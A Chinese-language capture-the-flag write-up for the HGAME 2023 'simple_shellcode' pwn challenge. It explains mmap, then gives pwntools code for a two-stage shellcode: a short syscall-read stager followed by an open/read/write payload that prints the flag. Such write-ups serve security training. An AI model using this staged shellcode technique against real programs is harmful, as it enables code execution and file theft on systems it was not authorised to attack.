【pwn】[HGAME 2023 week1]simple_shellcode --orw利用攻击
先查看程序的保护状态
可以看到，保护全开，拖进ida看主函数的逻辑
可以看到有个mmap函数：
mmap() 函数是Unix和类Unix操作系统中的一个系统调用，用于在进程的地址空间中映射文件或者其它对象。这样做的好处是可以让文件直接映射到内存中，从而避免了频繁的文件 I/O 操作，提高了文件的读取效率。
mmap() 函数的一般形式如下：
c
复制代码
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
参数说明：
addr：指定映射区的开始地址，通常设置为0，表示由系统自动分配。
length：指定映射区的长度，单位是字节。
prot：指定映射区的保护方式，如 PROT_READ（可读）、PROT_WRITE（可写）等。
flags：指定映射区的相关标志，比如 MAP_SHARED（多个进程可以共享该映射）和 MAP_PRIVATE（创建一个写时复制的私有映射）等。
fd：要映射的文件描述符，如果不是映射文件，则设置为 -1。
offset：指定文件映射的起始位置。
使用mmap()函数后，就可以通过对返回的指针进行读写操作，实际上就是对文件内容的读写。当不再需要映射时，可以使用munmap()函数取消映射。
总的来说，mmap() 是一个强大的系统调用，可以用于高效地处理文件的 I/O 操作，尤其适用于需要频繁读写文件内容的场景。
简单来说，就是将0xCAFE0000开始的位置，0x1000个字节大小的位置都修改成可读可写可执行，gdb动态调试用vmmap也能看到
可以看到，执行了vmmap函数之后，那段位置有了rwxp权限，接着继续看代码逻辑：read(0, (void *)0xCAFE0000LL, 0x10uLL);这里是往该地址输入内容，可以考虑shellcode，但是有长度限制,后面那段代码爆红，我们可以看一下其汇编代码
这里的call rdx就是跳转到我们0x0CAFE0000处,因为我们输入只有0x10个字节，我们可以考虑用syscall调用read函数，看代码：
code='''
mov rdi,rax
mov rsi,0xcafe0000
syscall '''
shellcode=asm(code)
io.send(shellcode)
read的参数rdi,rsi,rdx,因为上图中eax已经赋值成0，read的syscall调用号也是0，所以刚好，更加参数这样设置就行，然后代码执行后，会继续读入数据，这一次的read读入的参数在rdx中，rdx前面已经被赋值过，可以读入很大的数据。
addr=0xcafe0000+0x100
shellcode1 = shellcraft.open("./flag")
shellcode1 += shellcraft.read(3, addr, 0x50)
shellcode1 += shellcraft.write(1, addr, 0x50)
payload = asm(shellcode1)
print(len(code))
io.send(b'\x90'*len(shellcode)+payload)
io.interactive()
接着就是利用orw的方法获得flag就行：
接着就是利用orw的方法获得flag就行：
ORW类题目是指程序开了沙箱保护，禁用了一些函数的调用（如 execve等），使得我们并不能正常 get shell，只能通过ROP的方式调用open, read, write的来读取并打印flag 内容这里的io.send(b'\x90'*len(shellcode)+payload)是因为，read函数这边读入的数据依旧是从0x0CAFE0000读入的，调用read函数后会跳转到下一行代码继续执行，而read函数的调用是在我们上一个shellcode的最后一行，所以(b'\x90'*len(shellcode)+payload就是我们这个新的shellcode的地址